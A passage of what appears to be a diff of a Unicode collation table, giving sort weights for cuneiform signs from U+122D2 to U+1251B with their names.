+122D2 ; [.4C89.0020.0002] # CUNEIFORM SIGN SHINIG
+122D3 ; [.4C8A.0020.0002] # CUNEIFORM SIGN SHIR
+122D6 ; [.4C8B.0020.0002] # CUNEIFORM SIGN SHITA
+122D7 ; [.4C8C.0020.0002] # CUNEIFORM SIGN SHU
+122D8 ; [.4C8D.0020.0002] # CUNEIFORM SIGN SHU OVER INVERTED SHU
+122D9 ; [.4C8E.0020.0002] # CUNEIFORM SIGN SHU2
+122DA ; [.4C8F.0020.0002] # CUNEIFORM SIGN SHUBUR
+122DB ; [.4C90.0020.0002] # CUNEIFORM SIGN SI
+122DC ; [.4C91.0020.0002] # CUNEIFORM SIGN SI GUNU
+122DD ; [.4C92.0020.0002] # CUNEIFORM SIGN SIG
+122DE ; [.4C93.0020.0002] # CUNEIFORM SIGN SIG4
+122DF ; [.4C94.0020.0002] # CUNEIFORM SIGN SIG4 OVER SIG4 SHU2
+122E0 ; [.4C95.0020.0002] # CUNEIFORM SIGN SIK2
+122E1 ; [.4C96.0020.0002] # CUNEIFORM SIGN SILA3
+122E2 ; [.4C97.0020.0002] # CUNEIFORM SIGN SU
+122E3 ; [.4C98.0020.0002] # CUNEIFORM SIGN SU OVER SU
+122E4 ; [.4C99.0020.0002] # CUNEIFORM SIGN SUD
+122E5 ; [.4C9A.0020.0002] # CUNEIFORM SIGN SUD2
+122E6 ; [.4C9B.0020.0002] # CUNEIFORM SIGN SUHUR
+122E7 ; [.4C9C.0020.0002] # CUNEIFORM SIGN SUM
+122E8 ; [.4C9D.0020.0002] # CUNEIFORM SIGN SUMASH
+122E9 ; [.4C9E.0020.0002] # CUNEIFORM SIGN SUR
+122EA ; [.4C9F.0020.0002] # CUNEIFORM SIGN SUR9
+122EB ; [.4CA0.0020.0002] # CUNEIFORM SIGN TA
+122EC ; [.4CA1.0020.0002] # CUNEIFORM SIGN TA ASTERISK
+122ED ; [.4CA2.0020.0002] # CUNEIFORM SIGN TA TIMES HI
+122EE ; [.4CA3.0020.0002] # CUNEIFORM SIGN TA TIMES MI
+122EF ; [.4CA4.0020.0002] # CUNEIFORM SIGN TA GUNU
+122F0 ; [.4CA5.0020.0002] # CUNEIFORM SIGN TAB
+122F1 ; [.4CA6.0020.0002] # CUNEIFORM SIGN TAB OVER TAB NI OVER NI DISH OVER DISH
+122F2 ; [.4CA7.0020.0002] # CUNEIFORM SIGN TAB SQUARED
+122F3 ; [.4CA8.0020.0002] # CUNEIFORM SIGN TAG
+122F4 ; [.4CA9.0020.0002] # CUNEIFORM SIGN TAG TIMES BI
+122F5 ; [.4CAA.0020.0002] # CUNEIFORM SIGN TAG TIMES GUD
+122F6 ; [.4CAB.0020.0002] # CUNEIFORM SIGN TAG TIMES SHE
+122F7 ; [.4CAC.0020.0002] # CUNEIFORM SIGN TAG TIMES SHU
+122F8 ; [.4CAD.0020.0002] # CUNEIFORM SIGN TAG TIMES TUG2
+122F9 ; [.4CAE.0020.0002] # CUNEIFORM SIGN TAG TIMES UD
+122FA ; [.4CAF.0020.0002] # CUNEIFORM SIGN TAK4
+122FB ; [.4CB0.0020.0002] # CUNEIFORM SIGN TAR
+122FC ; [.4CB1.0020.0002] # CUNEIFORM SIGN TE
+122FD ; [.4CB2.0020.0002] # CUNEIFORM SIGN TE GUNU
+122FE ; [.4CB3.0020.0002] # CUNEIFORM SIGN TI
+122FF ; [.4CB4.0020.0002] # CUNEIFORM SIGN TI TENU
+12300 ; [.4CB5.0020.0002] # CUNEIFORM SIGN TIL
+12301 ; [.4CB6.0020.0002] # CUNEIFORM SIGN TIR
+12302 ; [.4CB7.0020.0002] # CUNEIFORM SIGN TIR TIMES TAK4
+12303 ; [.4CB8.0020.0002] # CUNEIFORM SIGN TIR OVER TIR
+12304 ; [.4CB9.0020.0002] # CUNEIFORM SIGN TIR OVER TIR GAD OVER GAD GAR OVER GAR
+12305 ; [.4CBA.0020.0002] # CUNEIFORM SIGN TU
+12306 ; [.4CBB.0020.0002] # CUNEIFORM SIGN TUG2
+12307 ; [.4CBC.0020.0002] # CUNEIFORM SIGN TUK
+12308 ; [.4CBD.0020.0002] # CUNEIFORM SIGN TUM
+12309 ; [.4CBE.0020.0002] # CUNEIFORM SIGN TUR
+1230A ; [.4CBF.0020.0002] # CUNEIFORM SIGN TUR OVER TUR ZA OVER ZA
+1230B ; [.4CC0.0020.0002] # CUNEIFORM SIGN U
+1230C ; [.4CC1.0020.0002] # CUNEIFORM SIGN U GUD
+1230D ; [.4CC2.0020.0002] # CUNEIFORM SIGN U U U
+1230E ; [.4CC3.0020.0002] # CUNEIFORM SIGN U OVER U PA OVER PA GAR OVER GAR
+1230F ; [.4CC4.0020.0002] # CUNEIFORM SIGN U OVER U SUR OVER SUR
+12310 ; [.4CC5.0020.0002] # CUNEIFORM SIGN U OVER U U REVERSED OVER U REVERSED
+12311 ; [.4CC6.0020.0002] # CUNEIFORM SIGN U2
+12312 ; [.4CC7.0020.0002] # CUNEIFORM SIGN UB
+12313 ; [.4CC8.0020.0002] # CUNEIFORM SIGN UD
+12314 ; [.4CC9.0020.0002] # CUNEIFORM SIGN UD KUSHU2
+12315 ; [.4CCA.0020.0002] # CUNEIFORM SIGN UD TIMES BAD
+12316 ; [.4CCB.0020.0002] # CUNEIFORM SIGN UD TIMES MI
+12317 ; [.4CCC.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U
+12318 ; [.4CCD.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U GUNU
+12319 ; [.4CCE.0020.0002] # CUNEIFORM SIGN UD GUNU
+1231A ; [.4CCF.0020.0002] # CUNEIFORM SIGN UD SHESHIG
+1231B ; [.4CD0.0020.0002] # CUNEIFORM SIGN UD SHESHIG TIMES BAD
+1231C ; [.4CD1.0020.0002] # CUNEIFORM SIGN UDUG
+1231D ; [.4CD2.0020.0002] # CUNEIFORM SIGN UM
+1231E ; [.4CD3.0020.0002] # CUNEIFORM SIGN UM TIMES LAGAB
+1231F ; [.4CD4.0020.0002] # CUNEIFORM SIGN UM TIMES ME PLUS DA
+12320 ; [.4CD5.0020.0002] # CUNEIFORM SIGN UM TIMES SHA3
+12321 ; [.4CD6.0020.0002] # CUNEIFORM SIGN UM TIMES U
+12322 ; [.4CD7.0020.0002] # CUNEIFORM SIGN UMBIN
+12323 ; [.4CD8.0020.0002] # CUNEIFORM SIGN UMUM
+12324 ; [.4CD9.0020.0002] # CUNEIFORM SIGN UMUM TIMES KASKAL
+12325 ; [.4CDA.0020.0002] # CUNEIFORM SIGN UMUM TIMES PA
+12326 ; [.4CDB.0020.0002] # CUNEIFORM SIGN UN
+12327 ; [.4CDC.0020.0002] # CUNEIFORM SIGN UN GUNU
+12328 ; [.4CDD.0020.0002] # CUNEIFORM SIGN UR
+12329 ; [.4CDE.0020.0002] # CUNEIFORM SIGN UR CROSSING UR
+1232A ; [.4CDF.0020.0002] # CUNEIFORM SIGN UR SHESHIG
+1232B ; [.4CE0.0020.0002] # CUNEIFORM SIGN UR2
+1232C ; [.4CE1.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS HA
+1232D ; [.4CE2.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS NA
+1232E ; [.4CE3.0020.0002] # CUNEIFORM SIGN UR2 TIMES AL
+1232F ; [.4CE4.0020.0002] # CUNEIFORM SIGN UR2 TIMES HA
+12330 ; [.4CE5.0020.0002] # CUNEIFORM SIGN UR2 TIMES NUN
+12331 ; [.4CE6.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2
+12332 ; [.4CE7.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS ASH
+12333 ; [.4CE8.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS BI
+12334 ; [.4CE9.0020.0002] # CUNEIFORM SIGN UR4
+12335 ; [.4CEA.0020.0002] # CUNEIFORM SIGN URI
+12336 ; [.4CEB.0020.0002] # CUNEIFORM SIGN URI3
+12337 ; [.4CEC.0020.0002] # CUNEIFORM SIGN URU
+12338 ; [.4CED.0020.0002] # CUNEIFORM SIGN URU TIMES A
+12339 ; [.4CEE.0020.0002] # CUNEIFORM SIGN URU TIMES ASHGAB
+1233A ; [.4CEF.0020.0002] # CUNEIFORM SIGN URU TIMES BAR
+1233B ; [.4CF0.0020.0002] # CUNEIFORM SIGN URU TIMES DUN
+1233C ; [.4CF1.0020.0002] # CUNEIFORM SIGN URU TIMES GA
+1233D ; [.4CF2.0020.0002] # CUNEIFORM SIGN URU TIMES GAL
+1233E ; [.4CF3.0020.0002] # CUNEIFORM SIGN URU TIMES GAN2 TENU
+1233F ; [.4CF4.0020.0002] # CUNEIFORM SIGN URU TIMES GAR
+12340 ; [.4CF5.0020.0002] # CUNEIFORM SIGN URU TIMES GU
+12341 ; [.4CF6.0020.0002] # CUNEIFORM SIGN URU TIMES HA
+12342 ; [.4CF7.0020.0002] # CUNEIFORM SIGN URU TIMES IGI
+12343 ; [.4CF8.0020.0002] # CUNEIFORM SIGN URU TIMES IM
+12344 ; [.4CF9.0020.0002] # CUNEIFORM SIGN URU TIMES ISH
+12345 ; [.4CFA.0020.0002] # CUNEIFORM SIGN URU TIMES KI
+12346 ; [.4CFB.0020.0002] # CUNEIFORM SIGN URU TIMES LUM
+12347 ; [.4CFC.0020.0002] # CUNEIFORM SIGN URU TIMES MIN
+12348 ; [.4CFD.0020.0002] # CUNEIFORM SIGN URU TIMES PA
+12349 ; [.4CFE.0020.0002] # CUNEIFORM SIGN URU TIMES SHE
+1234A ; [.4CFF.0020.0002] # CUNEIFORM SIGN URU TIMES SIG4
+1234B ; [.4D00.0020.0002] # CUNEIFORM SIGN URU TIMES TU
+1234C ; [.4D01.0020.0002] # CUNEIFORM SIGN URU TIMES U PLUS GUD
+1234D ; [.4D02.0020.0002] # CUNEIFORM SIGN URU TIMES UD
+1234E ; [.4D03.0020.0002] # CUNEIFORM SIGN URU TIMES URUDA
+1234F ; [.4D04.0020.0002] # CUNEIFORM SIGN URUDA
+12350 ; [.4D05.0020.0002] # CUNEIFORM SIGN URUDA TIMES U
+12351 ; [.4D06.0020.0002] # CUNEIFORM SIGN USH
+12352 ; [.4D07.0020.0002] # CUNEIFORM SIGN USH TIMES A
+12353 ; [.4D08.0020.0002] # CUNEIFORM SIGN USH TIMES KU
+12354 ; [.4D09.0020.0002] # CUNEIFORM SIGN USH TIMES KUR
+12355 ; [.4D0A.0020.0002] # CUNEIFORM SIGN USH TIMES TAK4
+12356 ; [.4D0B.0020.0002] # CUNEIFORM SIGN USHX
+12357 ; [.4D0C.0020.0002] # CUNEIFORM SIGN USH2
+12358 ; [.4D0D.0020.0002] # CUNEIFORM SIGN USHUMX
+12359 ; [.4D0E.0020.0002] # CUNEIFORM SIGN UTUKI
+1235A ; [.4D0F.0020.0002] # CUNEIFORM SIGN UZ3
+1235B ; [.4D10.0020.0002] # CUNEIFORM SIGN UZ3 TIMES KASKAL
+1235C ; [.4D11.0020.0002] # CUNEIFORM SIGN UZU
+1235D ; [.4D12.0020.0002] # CUNEIFORM SIGN ZA
+1235E ; [.4D13.0020.0002] # CUNEIFORM SIGN ZA TENU
+1235F ; [.4D14.0020.0002] # CUNEIFORM SIGN ZA SQUARED TIMES KUR
+12360 ; [.4D15.0020.0002] # CUNEIFORM SIGN ZAG
+12361 ; [.4D16.0020.0002] # CUNEIFORM SIGN ZAMX
+12362 ; [.4D17.0020.0002] # CUNEIFORM SIGN ZE2
+12363 ; [.4D18.0020.0002] # CUNEIFORM SIGN ZI
+12364 ; [.4D19.0020.0002] # CUNEIFORM SIGN ZI OVER ZI
+12365 ; [.4D1A.0020.0002] # CUNEIFORM SIGN ZI3
+12366 ; [.4D1B.0020.0002] # CUNEIFORM SIGN ZIB
+12367 ; [.4D1C.0020.0002] # CUNEIFORM SIGN ZIB KABA TENU
+12368 ; [.4D1D.0020.0002] # CUNEIFORM SIGN ZIG
+12369 ; [.4D1E.0020.0002] # CUNEIFORM SIGN ZIZ2
+1236A ; [.4D1F.0020.0002] # CUNEIFORM SIGN ZU
+1236B ; [.4D20.0020.0002] # CUNEIFORM SIGN ZU5
+1236C ; [.4D21.0020.0002] # CUNEIFORM SIGN ZU5 TIMES A
+1236D ; [.4D22.0020.0002] # CUNEIFORM SIGN ZUBUR
+1236E ; [.4D23.0020.0002] # CUNEIFORM SIGN ZUM
+1236F ; [.4D24.0020.0002] # CUNEIFORM SIGN KAP ELAMITE
+12370 ; [.4D25.0020.0002] # CUNEIFORM SIGN AB TIMES NUN
+12371 ; [.4D26.0020.0002] # CUNEIFORM SIGN AB2 TIMES A
+12372 ; [.4D27.0020.0002] # CUNEIFORM SIGN AMAR TIMES KUG
+12373 ; [.4D28.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS MASH
+12374 ; [.4D29.0020.0002] # CUNEIFORM SIGN DAG3
+12375 ; [.4D2A.0020.0002] # CUNEIFORM SIGN DISH PLUS SHU
+12376 ; [.4D2B.0020.0002] # CUNEIFORM SIGN DUB TIMES SHE
+12377 ; [.4D2C.0020.0002] # CUNEIFORM SIGN EZEN TIMES GUD
+12378 ; [.4D2D.0020.0002] # CUNEIFORM SIGN EZEN TIMES SHE
+12379 ; [.4D2E.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN PLUS KAK PLUS A
+1237A ; [.4D2F.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2
+1237B ; [.4D30.0020.0002] # CUNEIFORM SIGN GE22
+1237C ; [.4D31.0020.0002] # CUNEIFORM SIGN GIG
+1237D ; [.4D32.0020.0002] # CUNEIFORM SIGN HUSH
+1237E ; [.4D33.0020.0002] # CUNEIFORM SIGN KA TIMES ANSHE
+1237F ; [.4D34.0020.0002] # CUNEIFORM SIGN KA TIMES ASH3
+12380 ; [.4D35.0020.0002] # CUNEIFORM SIGN KA TIMES GISH
+12381 ; [.4D36.0020.0002] # CUNEIFORM SIGN KA TIMES GUD
+12382 ; [.4D37.0020.0002] # CUNEIFORM SIGN KA TIMES HI TIMES ASH2
+12383 ; [.4D38.0020.0002] # CUNEIFORM SIGN KA TIMES LUM
+12384 ; [.4D39.0020.0002] # CUNEIFORM SIGN KA TIMES PA
+12385 ; [.4D3A.0020.0002] # CUNEIFORM SIGN KA TIMES SHUL
+12386 ; [.4D3B.0020.0002] # CUNEIFORM SIGN KA TIMES TU
+12387 ; [.4D3C.0020.0002] # CUNEIFORM SIGN KA TIMES UR2
+12388 ; [.4D3D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GI
+12389 ; [.4D3E.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG TIMES BAD
+1238A ; [.4D3F.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 PLUS LAL
+1238B ; [.4D40.0020.0002] # CUNEIFORM SIGN LU2 TIMES SHU
+1238C ; [.4D41.0020.0002] # CUNEIFORM SIGN MESH
+1238D ; [.4D42.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES ZA
+1238E ; [.4D43.0020.0002] # CUNEIFORM SIGN NA4
+1238F ; [.4D44.0020.0002] # CUNEIFORM SIGN NIN
+12390 ; [.4D45.0020.0002] # CUNEIFORM SIGN NIN9
+12391 ; [.4D46.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES BAL
+12392 ; [.4D47.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GI
+12393 ; [.4D48.0020.0002] # CUNEIFORM SIGN NU11 ROTATED NINETY DEGREES
+12394 ; [.4D49.0020.0002] # CUNEIFORM SIGN PESH2 ASTERISK
+12395 ; [.4D4A.0020.0002] # CUNEIFORM SIGN PIR2
+12396 ; [.4D4B.0020.0002] # CUNEIFORM SIGN SAG TIMES IGI GUNU
+12397 ; [.4D4C.0020.0002] # CUNEIFORM SIGN TI2
+12398 ; [.4D4D.0020.0002] # CUNEIFORM SIGN UM TIMES ME
+12399 ; [.4D4E.0020.0002] # CUNEIFORM SIGN U U
+12480 ; [.4D4F.0020.0002] # CUNEIFORM SIGN AB TIMES NUN TENU
+12481 ; [.4D50.0020.0002] # CUNEIFORM SIGN AB TIMES SHU2
+12482 ; [.4D51.0020.0002] # CUNEIFORM SIGN AD TIMES ESH2
+12483 ; [.4D52.0020.0002] # CUNEIFORM SIGN BAD TIMES DISH TENU
+12484 ; [.4D53.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES AB2
+12485 ; [.4D54.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES NI
+12486 ; [.4D55.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES ZA
+12487 ; [.4D56.0020.0002] # CUNEIFORM SIGN BU OVER BU TIMES NA2
+12488 ; [.4D57.0020.0002] # CUNEIFORM SIGN DA TIMES TAK4
+12489 ; [.4D58.0020.0002] # CUNEIFORM SIGN DAG TIMES KUR
+1248A ; [.4D59.0020.0002] # CUNEIFORM SIGN DIM TIMES IGI
+1248B ; [.4D5A.0020.0002] # CUNEIFORM SIGN DIM TIMES U U U
+1248C ; [.4D5B.0020.0002] # CUNEIFORM SIGN DIM2 TIMES UD
+1248D ; [.4D5C.0020.0002] # CUNEIFORM SIGN DUG TIMES ANSHE
+1248E ; [.4D5D.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH
+1248F ; [.4D5E.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH AT LEFT
+12490 ; [.4D5F.0020.0002] # CUNEIFORM SIGN DUG TIMES DIN
+12491 ; [.4D60.0020.0002] # CUNEIFORM SIGN DUG TIMES DUN
+12492 ; [.4D61.0020.0002] # CUNEIFORM SIGN DUG TIMES ERIN2
+12493 ; [.4D62.0020.0002] # CUNEIFORM SIGN DUG TIMES GA
+12494 ; [.4D63.0020.0002] # CUNEIFORM SIGN DUG TIMES GI
+12495 ; [.4D64.0020.0002] # CUNEIFORM SIGN DUG TIMES GIR2 GUNU
+12496 ; [.4D65.0020.0002] # CUNEIFORM SIGN DUG TIMES GISH
+12497 ; [.4D66.0020.0002] # CUNEIFORM SIGN DUG TIMES HA
+12498 ; [.4D67.0020.0002] # CUNEIFORM SIGN DUG TIMES HI
+12499 ; [.4D68.0020.0002] # CUNEIFORM SIGN DUG TIMES IGI GUNU
+1249A ; [.4D69.0020.0002] # CUNEIFORM SIGN DUG TIMES KASKAL
+1249B ; [.4D6A.0020.0002] # CUNEIFORM SIGN DUG TIMES KUR
+1249C ; [.4D6B.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2
+1249D ; [.4D6C.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2 PLUS KASKAL
+1249E ; [.4D6D.0020.0002] # CUNEIFORM SIGN DUG TIMES LAK-020
+1249F ; [.4D6E.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM
+124A0 ; [.4D6F.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM TIMES KUR
+124A1 ; [.4D70.0020.0002] # CUNEIFORM SIGN DUG TIMES LUH PLUS GISH
+124A2 ; [.4D71.0020.0002] # CUNEIFORM SIGN DUG TIMES MASH
+124A3 ; [.4D72.0020.0002] # CUNEIFORM SIGN DUG TIMES MES
+124A4 ; [.4D73.0020.0002] # CUNEIFORM SIGN DUG TIMES MI
+124A5 ; [.4D74.0020.0002] # CUNEIFORM SIGN DUG TIMES NI
+124A6 ; [.4D75.0020.0002] # CUNEIFORM SIGN DUG TIMES PI
+124A7 ; [.4D76.0020.0002] # CUNEIFORM SIGN DUG TIMES SHE
+124A8 ; [.4D77.0020.0002] # CUNEIFORM SIGN DUG TIMES SI GUNU
+124A9 ; [.4D78.0020.0002] # CUNEIFORM SIGN E2 TIMES KUR
+124AA ; [.4D79.0020.0002] # CUNEIFORM SIGN E2 TIMES PAP
+124AB ; [.4D7A.0020.0002] # CUNEIFORM SIGN ERIN2 X
+124AC ; [.4D7B.0020.0002] # CUNEIFORM SIGN ESH2 CROSSING ESH2
+124AD ; [.4D7C.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ASH
+124AE ; [.4D7D.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES HI
+124AF ; [.4D7E.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES IGI GUNU
+124B0 ; [.4D7F.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LA
+124B1 ; [.4D80.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LAL
+124B2 ; [.4D81.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ME
+124B3 ; [.4D82.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES MES
+124B4 ; [.4D83.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES SU
+124B5 ; [.4D84.0020.0002] # CUNEIFORM SIGN EZEN TIMES SU
+124B6 ; [.4D85.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAHAR2
+124B7 ; [.4D86.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM GUNU
+124B8 ; [.4D87.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES IGI GUNU
+124B9 ; [.4D88.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES KASKAL
+124BA ; [.4D89.0020.0002] # CUNEIFORM SIGN GA2 TIMES EREN
+124BB ; [.4D8A.0020.0002] # CUNEIFORM SIGN GA2 TIMES GA
+124BC ; [.4D8B.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS DI
+124BD ; [.4D8C.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS NE
+124BE ; [.4D8D.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS A
+124BF ; [.4D8E.0020.0002] # CUNEIFORM SIGN GA2 TIMES KUSHU2 PLUS KASKAL
+124C0 ; [.4D8F.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM
+124C1 ; [.4D90.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM TIMES KUR
+124C2 ; [.4D91.0020.0002] # CUNEIFORM SIGN GA2 TIMES LUH
+124C3 ; [.4D92.0020.0002] # CUNEIFORM SIGN GA2 TIMES MUSH
+124C4 ; [.4D93.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE
+124C5 ; [.4D94.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS E2
+124C6 ; [.4D95.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS GI
+124C7 ; [.4D96.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHIM
+124C8 ; [.4D97.0020.0002] # CUNEIFORM SIGN GA2 TIMES ZIZ2
+124C9 ; [.4D98.0020.0002] # CUNEIFORM SIGN GABA ROTATED NINETY DEGREES
+124CA ; [.4D99.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES U
+124CB ; [.4D9A.0020.0002] # CUNEIFORM SIGN GISH TIMES GISH CROSSING GISH
+124CC ; [.4D9B.0020.0002] # CUNEIFORM SIGN GU2 TIMES IGI GUNU
+124CD ; [.4D9C.0020.0002] # CUNEIFORM SIGN GUD PLUS GISH TIMES TAK4
+124CE ; [.4D9D.0020.0002] # CUNEIFORM SIGN HA TENU GUNU
+124CF ; [.4D9E.0020.0002] # CUNEIFORM SIGN HI TIMES ASH OVER HI TIMES ASH
+124D0 ; [.4D9F.0020.0002] # CUNEIFORM SIGN KA TIMES BU
+124D1 ; [.4DA0.0020.0002] # CUNEIFORM SIGN KA TIMES KA
+124D2 ; [.4DA1.0020.0002] # CUNEIFORM SIGN KA TIMES U U U
+124D3 ; [.4DA2.0020.0002] # CUNEIFORM SIGN KA TIMES UR
+124D4 ; [.4DA3.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ZU OVER ZU
+124D5 ; [.4DA4.0020.0002] # CUNEIFORM SIGN LAK-003
+124D6 ; [.4DA5.0020.0002] # CUNEIFORM SIGN LAK-021
+124D7 ; [.4DA6.0020.0002] # CUNEIFORM SIGN LAK-025
+124D8 ; [.4DA7.0020.0002] # CUNEIFORM SIGN LAK-030
+124D9 ; [.4DA8.0020.0002] # CUNEIFORM SIGN LAK-050
+124DA ; [.4DA9.0020.0002] # CUNEIFORM SIGN LAK-051
+124DB ; [.4DAA.0020.0002] # CUNEIFORM SIGN LAK-062
+124DC ; [.4DAB.0020.0002] # CUNEIFORM SIGN LAK-079 OVER LAK-079 GUNU
+124DD ; [.4DAC.0020.0002] # CUNEIFORM SIGN LAK-080
+124DE ; [.4DAD.0020.0002] # CUNEIFORM SIGN LAK-081 OVER LAK-081
+124DF ; [.4DAE.0020.0002] # CUNEIFORM SIGN LAK-092
+124E0 ; [.4DAF.0020.0002] # CUNEIFORM SIGN LAK-130
+124E1 ; [.4DB0.0020.0002] # CUNEIFORM SIGN LAK-142
+124E2 ; [.4DB1.0020.0002] # CUNEIFORM SIGN LAK-210
+124E3 ; [.4DB2.0020.0002] # CUNEIFORM SIGN LAK-219
+124E4 ; [.4DB3.0020.0002] # CUNEIFORM SIGN LAK-220
+124E5 ; [.4DB4.0020.0002] # CUNEIFORM SIGN LAK-225
+124E6 ; [.4DB5.0020.0002] # CUNEIFORM SIGN LAK-228
+124E7 ; [.4DB6.0020.0002] # CUNEIFORM SIGN LAK-238
+124E8 ; [.4DB7.0020.0002] # CUNEIFORM SIGN LAK-265
+124E9 ; [.4DB8.0020.0002] # CUNEIFORM SIGN LAK-266
+124EA ; [.4DB9.0020.0002] # CUNEIFORM SIGN LAK-343
+124EB ; [.4DBA.0020.0002] # CUNEIFORM SIGN LAK-347
+124EC ; [.4DBB.0020.0002] # CUNEIFORM SIGN LAK-348
+124ED ; [.4DBC.0020.0002] # CUNEIFORM SIGN LAK-383
+124EE ; [.4DBD.0020.0002] # CUNEIFORM SIGN LAK-384
+124EF ; [.4DBE.0020.0002] # CUNEIFORM SIGN LAK-390
+124F0 ; [.4DBF.0020.0002] # CUNEIFORM SIGN LAK-441
+124F1 ; [.4DC0.0020.0002] # CUNEIFORM SIGN LAK-449
+124F2 ; [.4DC1.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES GU
+124F3 ; [.4DC2.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES IGI
+124F4 ; [.4DC3.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS LU3
+124F5 ; [.4DC4.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS PAP PLUS LU3
+124F6 ; [.4DC5.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES U2 PLUS BA
+124F7 ; [.4DC6.0020.0002] # CUNEIFORM SIGN LAK-450
+124F8 ; [.4DC7.0020.0002] # CUNEIFORM SIGN LAK-457
+124F9 ; [.4DC8.0020.0002] # CUNEIFORM SIGN LAK-470
+124FA ; [.4DC9.0020.0002] # CUNEIFORM SIGN LAK-483
+124FB ; [.4DCA.0020.0002] # CUNEIFORM SIGN LAK-490
+124FC ; [.4DCB.0020.0002] # CUNEIFORM SIGN LAK-492
+124FD ; [.4DCC.0020.0002] # CUNEIFORM SIGN LAK-493
+124FE ; [.4DCD.0020.0002] # CUNEIFORM SIGN LAK-495
+124FF ; [.4DCE.0020.0002] # CUNEIFORM SIGN LAK-550
+12500 ; [.4DCF.0020.0002] # CUNEIFORM SIGN LAK-608
+12501 ; [.4DD0.0020.0002] # CUNEIFORM SIGN LAK-617
+12502 ; [.4DD1.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES ASH
+12503 ; [.4DD2.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES BAD
+12504 ; [.4DD3.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES DUN3 GUNU GUNU
+12505 ; [.4DD4.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES KU3
+12506 ; [.4DD5.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES LA
+12507 ; [.4DD6.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TAR
+12508 ; [.4DD7.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TE
+12509 ; [.4DD8.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES U2
+1250A ; [.4DD9.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES UD
+1250B ; [.4DDA.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES URUDA
+1250C ; [.4DDB.0020.0002] # CUNEIFORM SIGN LAK-636
+1250D ; [.4DDC.0020.0002] # CUNEIFORM SIGN LAK-648
+1250E ; [.4DDD.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES DUB
+1250F ; [.4DDE.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES GA
+12510 ; [.4DDF.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI
+12511 ; [.4DE0.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI GUNU
+12512 ; [.4DE1.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES NI
+12513 ; [.4DE2.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES PAP PLUS PAP PLUS LU3
+12514 ; [.4DE3.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES SHESH PLUS KI
+12515 ; [.4DE4.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES UD
+12516 ; [.4DE5.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES URUDA
+12517 ; [.4DE6.0020.0002] # CUNEIFORM SIGN LAK-724
+12518 ; [.4DE7.0020.0002] # CUNEIFORM SIGN LAK-749
+12519 ; [.4DE8.0020.0002] # CUNEIFORM SIGN LU2 GUNU TIMES ASH
+1251A ; [.4DE9.0020.0002] # CUNEIFORM SIGN LU2 TIMES DISH
+1251B ; [.4DEA.0020.0002] # CUNEIFORM SIGN LU2 TIMES HAL
